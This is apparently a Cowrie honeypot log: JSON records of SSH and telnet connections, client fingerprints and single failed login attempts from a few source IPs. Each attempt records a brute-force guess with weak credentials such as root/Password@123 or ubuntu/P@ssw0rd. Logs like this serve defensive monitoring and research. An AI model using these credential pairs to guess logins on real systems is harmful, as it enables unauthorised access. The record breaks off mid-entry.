{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45582,"dst_ip":"10.17.0.5","dst_port":22,"session":"37c6f24a0dd1","protocol":"ssh","message":"New connection: 83.168.110.85:45582 (10.17.0.5:22) [session: 37c6f24a0dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:53.480879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:53.485932Z","src_ip":"83.168.110.85","session":"37c6f24a0dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:53.610952Z","src_ip":"83.168.110.85","session":"37c6f24a0dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:54.351408Z","src_ip":"83.168.110.85","session":"37c6f24a0dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:55.474233Z","src_ip":"83.168.110.85","session":"37c6f24a0dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59496,"dst_ip":"10.17.0.5","dst_port":22,"session":"acdeab45f5de","protocol":"ssh","message":"New connection: 83.168.110.85:59496 (10.17.0.5:22) [session: acdeab45f5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:00.241147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:00.251717Z","src_ip":"83.168.110.85","session":"acdeab45f5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d046deded455","protocol":"telnet","message":"New connection: 152.42.224.71:34496 (10.17.0.5:23) [session: d046deded455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:00.370665Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:00.376521Z","src_ip":"83.168.110.85","session":"acdeab45f5de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:00.743210Z","src_ip":"83.168.110.85","session":"acdeab45f5de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:01.869213Z","src_ip":"83.168.110.85","session":"acdeab45f5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.191.100.89","src_port":53835,"dst_ip":"10.17.0.5","dst_port":23,"session":"661c95050284","protocol":"telnet","message":"New connection: 220.191.100.89:53835 (10.17.0.5:23) [session: 661c95050284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:05.475577Z"}
{"eventid":"cowrie.session.closed","duration":43.53306245803833,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:06.927014Z","src_ip":"152.42.224.71","session":"11ebac8797e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33746,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6331c963fc8","protocol":"ssh","message":"New connection: 83.168.110.85:33746 (10.17.0.5:22) [session: b6331c963fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:07.118937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:07.125273Z","src_ip":"83.168.110.85","session":"b6331c963fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:07.247047Z","src_ip":"83.168.110.85","session":"b6331c963fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:07.751918Z","src_ip":"83.168.110.85","session":"b6331c963fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:08.877681Z","src_ip":"83.168.110.85","session":"b6331c963fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d68256ccd8","protocol":"ssh","message":"New connection: 83.168.110.85:47122 (10.17.0.5:22) [session: c3d68256ccd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:14.254006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:14.258898Z","src_ip":"83.168.110.85","session":"c3d68256ccd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:14.379746Z","src_ip":"83.168.110.85","session":"c3d68256ccd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:14.742816Z","src_ip":"83.168.110.85","session":"c3d68256ccd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:16.026406Z","src_ip":"83.168.110.85","session":"c3d68256ccd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.078728199005127,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:16.553928Z","src_ip":"220.191.100.89","session":"661c95050284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47128,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb68ef747c3","protocol":"ssh","message":"New connection: 83.168.110.85:47128 (10.17.0.5:22) [session: ffb68ef747c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:21.221527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:21.226394Z","src_ip":"83.168.110.85","session":"ffb68ef747c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:21.350530Z","src_ip":"83.168.110.85","session":"ffb68ef747c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:21.716088Z","src_ip":"83.168.110.85","session":"ffb68ef747c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:22.908514Z","src_ip":"83.168.110.85","session":"ffb68ef747c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a37f979ccb","protocol":"telnet","message":"New connection: 152.42.224.71:46546 (10.17.0.5:23) [session: 09a37f979ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:23.175169Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b135af5f67e3","protocol":"telnet","message":"New connection: 152.42.224.71:46554 (10.17.0.5:23) [session: b135af5f67e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:24.273231Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49578,"dst_ip":"10.17.0.5","dst_port":22,"session":"9adecb2f2060","protocol":"ssh","message":"New connection: 83.168.110.85:49578 (10.17.0.5:22) [session: 9adecb2f2060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:27.948644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:27.954002Z","src_ip":"83.168.110.85","session":"9adecb2f2060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:28.076029Z","src_ip":"83.168.110.85","session":"9adecb2f2060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:28.439752Z","src_ip":"83.168.110.85","session":"9adecb2f2060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:29.562747Z","src_ip":"83.168.110.85","session":"9adecb2f2060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39638,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bfe844fe586","protocol":"ssh","message":"New connection: 83.168.110.85:39638 (10.17.0.5:22) [session: 2bfe844fe586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:34.945186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:35.037797Z","src_ip":"83.168.110.85","session":"2bfe844fe586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:35.323893Z","src_ip":"83.168.110.85","session":"2bfe844fe586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:35.730826Z","src_ip":"83.168.110.85","session":"2bfe844fe586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.12149453163147,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:36.296575Z","src_ip":"152.42.224.71","session":"09a37f979ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:36.853587Z","src_ip":"83.168.110.85","session":"2bfe844fe586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.89153170585632,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:39.261964Z","src_ip":"152.42.224.71","session":"d046deded455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39652,"dst_ip":"10.17.0.5","dst_port":22,"session":"4555353e94fd","protocol":"ssh","message":"New connection: 83.168.110.85:39652 (10.17.0.5:22) [session: 4555353e94fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:41.976021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:42.021454Z","src_ip":"83.168.110.85","session":"4555353e94fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1